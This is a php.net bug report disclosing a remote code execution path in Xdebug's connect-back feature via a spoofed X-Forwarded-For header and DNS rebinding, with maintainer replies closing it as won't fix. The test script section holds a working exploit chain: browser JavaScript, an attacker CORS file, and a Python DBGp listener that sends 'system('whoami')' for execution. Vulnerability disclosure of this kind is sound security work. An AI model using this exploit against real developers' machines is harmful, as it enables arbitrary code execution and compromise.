php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #76149 [RCE]xdebug which configured to use remote debugging may leads to RCE
Submitted: 2018-03-26 07:30 UTC Modified: 2020-01-20 17:16 UTC
Votes:4
Avg. Score:3.2 ± 1.5
Reproduced:1 of 2 (50.0%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: md5_salt at qq dot com Assigned: derick (profile)
Status: Wont fix Package: Xdebug
PHP Version: 7.2.4RC1 OS: all
Private report: No CVE-ID: None
 [2018-03-26 07:30 UTC] md5_salt at qq dot com
Description:
------------
A php programmer who use xdebug's remote debugging feature may affects RCE when he just access to attacker's website in modern browsers. The detail as follows.

As in the doc(https://xdebug.org/docs/all_settings#remote_connect_back) of xdebug, if `xdebug.remote_connect_back` is enabled, the `xdebug.remote_host setting` is ignored and Xdebug will try to connect to the client that made the HTTP request. It checks the `$_SERVER['HTTP_X_FORWARDED_FOR']` and `$_SERVER['REMOTE_ADDR']` variables to find out which IP address to use.

If xdebug is configured as follows, we can use `$_SERVER['HTTP_X_FORWARDED_FOR']` as the connect back ip.
```
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log
```

For php programmers, they always setup a local environment and enable xdebug to debug php programs. If we can send a http request with `X-Forwarded-For` header(which points to attacker's server) to local url just like `http://127.0.0.1/index.php` or `http://127.0.0.1/config.php` then attacker can get a xdebug's connect back and then use DBGp commands to execute any php code.

As we all know, to send special request headers using ajax in browsers, ajax first send an `OPTIONS` request to the target url and we need `Access-Control-Allow-Headers: X-Forwarded-For` in the response headers, but there always no such a header in the local program.

There is a tech called dns rebinding. Attacker can setup a private dns server and make a domain first resolved to attacker's ip and then 127.0.0.1 . The victim first access attacker's domain in the browser, pull payloads from attacker's server and then DNS changed to 127.0.0.1 and the browser launch the exploit to 127.0.0.1 . As the domain do not change, the browser's security features are still obeyed, but the exploit is send to 127.0.0.1.

The urls referenced
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b

Test script:
---------------
The payload used in attacker's website.
```js
<script type="text/javascript">
function exp(url, remote){
	var invocation = new XMLHttpRequest();
	invocation.open('GET', url, true);
	invocation.setRequestHeader('X-Forwarded-For', remote);
	invocation.onreadystatechange = function(){};
	invocation.send();
}
url = 'http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START';
remote = '8.8.8.8' // attacker's server ip  
exp(url, remote)
setInterval(function(){exp(url, remote)}, 1000)
</script>
```

The payload for attacker's index.php.
```php
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: X-Forwarded-For');
```

The payload for xdebug's connect back.
```py
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = """system('whoami');"""
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
```



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-03-26 08:08 UTC] md5_salt at qq dot com
I think the way to solve this is not to get connect back ip from X-Forwarded-For header.
 [2018-03-26 17:37 UTC] stas@php.net
-Assigned To: +Assigned To: derick
 [2018-03-30 05:54 UTC] md5_salt at qq dot com
the idea is just like http://bluec0re.blogspot.ch/2018/03/cve-2018-7160-pwning-nodejs-developers.html

you can check that for reference
 [2018-03-30 06:08 UTC] remi@php.net
-Type: Security +Type: Bug
 [2018-03-30 06:08 UTC] remi@php.net
Please read https://wiki.php.net/security

Not a security issue
* requires the use of debugging facilities - ex. xdebug, var_dump
 [2020-01-20 17:16 UTC] derick@php.net
-Status: Assigned +Status: Wont fix
 [2020-01-20 17:16 UTC] derick@php.net
This is not a bug in PHP, and a feature in Xdebug. You should not have your PHP install with Xdebug open to the world.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 09:01:32 2024 UTC